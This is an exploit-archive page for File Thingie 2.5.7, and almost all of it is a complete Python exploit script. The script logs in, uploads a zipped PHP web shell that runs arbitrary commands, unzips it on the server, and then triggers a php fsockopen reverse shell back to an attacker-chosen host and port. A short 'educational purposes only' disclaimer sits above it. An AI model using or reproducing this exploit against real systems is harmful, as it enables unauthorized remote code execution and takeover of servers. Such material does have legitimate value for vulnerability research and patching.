File thingie 2.5.7 remote code execution (rce) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2023-05-05 | Type : webapps | Platform : php
This exploit / vulnerability File thingie 2.5.7 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

#!/usr/bin/python

# Exploit Title: File Thingie 2.5.7 - Arbitary File Upload to RCE
# Google Dork: N/A
# Date: 27th of April, 2023
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
# Software Link: https://github.com/leefish/filethingie
# Version: 2.5.7
# Tested on: N/A
# CVE: N/A

# Vulnerability originally discovered / published by Cakes
# Reference: https://www.exploit-db.com/exploits/47349
# Run a local listener on your machine and you're good to go


import os
import argparse
import requests
import random
import string
import zipfile
from urllib.parse import urlsplit, urlunsplit, quote


class Exploit:
def __init__(self, target, username, password, lhost, lport):
self.target = target
self.username = username
self.password = password
self.lhost = lhost
self.lport = lport

def try_login(self) -> bool:
self.session = requests.Session()

post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}
response = self.session.post(self.target, data=post_body)

if response.status_code == 404:
print(f"[-] 404 Not Found - The requested resource {self.target} was not found")
return False

elif response.status_code == 200:

if "Invalid username or password" in response.text:
print(f"[-] Invalid username or password")
return False

return True

def create_new_folder(self) -> bool:
# Generate random string
letters = string.ascii_letters
self.payload_filename = "".join(random.choice(letters) for i in range(16))
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}

print(f"[*] Creating new folder /{self.payload_filename}")
response = self.session.post(self.target, headers=headers, data=post_body)

if f"index.php?dir=/{self.payload_filename}" in response.text:
print(f"[+] Created new folder /{self.payload_filename}")
return True

else:
print(f"[-] Could not create new folder /{self.payload_filename}")
return False

def create_payload(self) -> bool:
try:
with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")
print(f"[+] Zipped payload to {self.payload_filename}.zip")
return True
except:
print(f"[-] Could not zip payload to {self.payload_filename}.zip")
return False

def upload_payload(self) -> bool:
# Set up the HTTP headers and data for the request
headers = {
b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'
}

post_body = (
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
)

post_body += (
'\r\n-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'
'2000000\r\n'
'-----------------------------grimlockx\r\n'
f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'
'Content-Type: application/zip\r\n\r\n'
)

# Read the zip file contents and append them to the data
with open(f"{self.payload_filename}.zip", "rb") as f:
post_body += ''.join(map(chr, f.read()))

post_body += (
'\r\n-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="act"\r\n\r\n'
'upload\r\n'
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="dir"\r\n\r\n'
f'/{self.payload_filename}\r\n'
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="submit"\r\n\r\n'
'Upload\r\n'
'-----------------------------grimlockx--\r\n'
)

print("[*] Uploading payload to the target")

response = self.session.post(self.target, headers=headers, data=post_body)

if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:
print("[+] Uploading payload successful")
return True

else:
print("[-] Uploading payload failed")
return False

def get_base_url(self) -> str:
url_parts = urlsplit(self.target)
path_parts = url_parts.path.split('/')
path_parts.pop()
base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))
return base_url

def unzip_payload(self) -> bool:
print("[*] Unzipping payload")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}
response = self.session.post(f"{self.target}", headers=headers, data=post_body)

if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:
print("[+] Unzipping payload successful")
print(f"[+] You can now execute commands by browsing {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")
return True

else:
print("[-] Unzipping payload failed")
return False

def execute_payload(self) -> bool:
print("[*] Trying to get a reverse shell")

cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")
print("[*] Executing payload")

response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")
print("[+] Exploit complete")

return True

def cleanup_local_files(self) -> bool:
if os.path.exists(f"{self.payload_filename}.zip"):
os.remove(f"{self.payload_filename}.zip")
print("[+] Cleaned up zipped payload on local machine")
return True

print("[-] Could not clean up zipped payload on local machine")
return False


if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")
parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")
parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")
parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")
parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")
args = parser.parse_args()

exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)
exploit.try_login()
exploit.create_new_folder()
exploit.create_payload()
exploit.upload_payload()
exploit.unzip_payload()
exploit.execute_payload()
exploit.cleanup_local_files()